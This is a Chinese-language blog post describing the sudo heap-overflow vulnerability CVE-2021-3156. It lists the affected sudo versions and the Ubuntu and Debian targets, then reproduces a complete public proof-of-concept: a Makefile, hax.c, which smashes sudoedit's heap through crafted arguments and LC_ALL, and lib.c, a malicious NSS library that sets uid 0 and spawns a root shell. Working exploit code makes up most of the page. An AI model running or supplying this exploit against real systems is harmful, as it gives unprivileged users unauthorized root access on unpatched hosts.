Linux sudo 权限提升漏洞 CVE-2021-3156

发布于 2024-10-29 09:52:35 字数 5100 浏览 4 评论 0

漏洞描述

2021 年 1 月 26 日,Linux 安全工具 sudo 被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得 root 权限,并且是在默认配置下。此漏洞已分配为 CVE-2021-3156,危险等级评分为 7 分。

当 sudo 通过-s 或-i 命令行选项在 shell 模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s 或-i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在 sudoers 文件(通常是 /etc/sudoers ​),攻击者就可以使用本地普通用户利用 sudo 获得系统 root 权限。研究人员利用该漏洞在多个 Linux 发行版上成功获得了完整的 root 权限,包括 Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和 Fedora 33(sudo 1.9.2),并且 sudo 支持的其他操作系统和 Linux 发行版也很容易受到攻击。

漏洞影响

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

漏洞复现

目前 POC 已经在 Github 公开: Linux sudo 权限提升漏洞 CVE-2021-3156

当前可以验证的 Linux 环境为

Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

漏洞利用 POC

POC 目录已经加入漏洞利用代码,另一个无交互式 shell 使用的脚本 https://github.com/Rvn0xsy/CVE-2021-3156-plus

Makefile

all:
    rm -rf libnss_X
    mkdir libnss_X
    gcc -o sudo-hax-me-a-sandwich hax.c
    gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
clean:
    rm -rf libnss_X sudo-hax-me-a-sandwich

hax.c

/**
 ** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 ** ===========================================
 **
 ** Exploit for that sudo heap overflow thing everyone is talking about.
 ** This one aims for singleshot. Does not fuck with your system files.
 ** No warranties.
 **
 ** Shout outs to:
 **   Qualys      - for pumping out the awesome bugs
 **   lockedbyte  - for coop hax. (shared tmux gdb sessions ftw)
 **   dsc         - for letting me rack up his electricity bill
 **   my wife     - for all the quality time we had to skip
 **
 **  Enjoy!
 **
 **   -- blasty // 20210130
 **/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 512

typedef struct {
    char *target_name;
    char *sudoedit_path;
    uint32_t smash_len_a;
    uint32_t smash_len_b;
    uint32_t null_stomp_len;
    uint32_t lc_all_len; 
} target_t;

target_t targets[] = {
    {
        .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
        .sudoedit_path  = "/usr/bin/sudoedit",
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63, 
        .lc_all_len     = 212
    },
    {
        .target_name    = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
        .sudoedit_path  = "/usr/bin/sudoedit",
        .smash_len_a    = 64,
        .smash_len_b    = 49,
        .null_stomp_len = 60, 
        .lc_all_len     = 214
    }
};

void usage(char *prog) {
    printf("  usage: %s <target>\n\n", prog);
    printf("  available targets:\n");
    printf("  ------------------------------------------------------------\n");
    for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
        printf("    %d) %s\n", i, targets[i].target_name);
    }
    printf("  ------------------------------------------------------------\n");
    printf("\n");
}

int main(int argc, char *argv[]) {
    printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");

    if (argc != 2) {
        usage(argv[0]);
        return -1;
    }

    target_t *target = &targets[ atoi(argv[1]) ];

    printf("using target: '%s'\n", target->target_name);

    char *smash_a = calloc(target->smash_len_a + 2, 1);
    char *smash_b = calloc(target->smash_len_b + 2, 1);

    memset(smash_a, 'A', target->smash_len_a);
    memset(smash_b, 'B', target->smash_len_b);

    smash_a[target->smash_len_a] = '\\';
    smash_b[target->smash_len_b] = '\\';

    char *s_argv[]={
        "sudoedit", "-s", smash_a, "\\", smash_b, NULL
    };

    char *s_envp[MAX_ENVP];
    int envp_pos = 0;

    for(int i = 0; i < target->null_stomp_len; i++) {
        s_envp[envp_pos++] = "\\";
    }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

    char *lc_all = calloc(target->lc_all_len + 16, 1);
    strcpy(lc_all, "LC_ALL=C.UTF-8@");
    memset(lc_all+15, 'C', target->lc_all_len);

    s_envp[envp_pos++] = lc_all;
    s_envp[envp_pos++] = NULL;

    printf("** pray for your rootshell.. **\n");

    execve(target->sudoedit_path, s_argv, s_envp);
    return 0;
}

lib.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
    printf("[+] bl1ng bl1ng! We got it!\n");
    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *a_argv[] = { "sh", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execv("/bin/sh", a_argv);
}

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

黒涩兲箜

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

emdigitizer10

文章 0 评论 0

残龙傲雪

文章 0 评论 0

奢望

文章 0 评论 0

微信用户

文章 0 评论 0

又爬满兰若

文章 0 评论 0

独孤求败

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文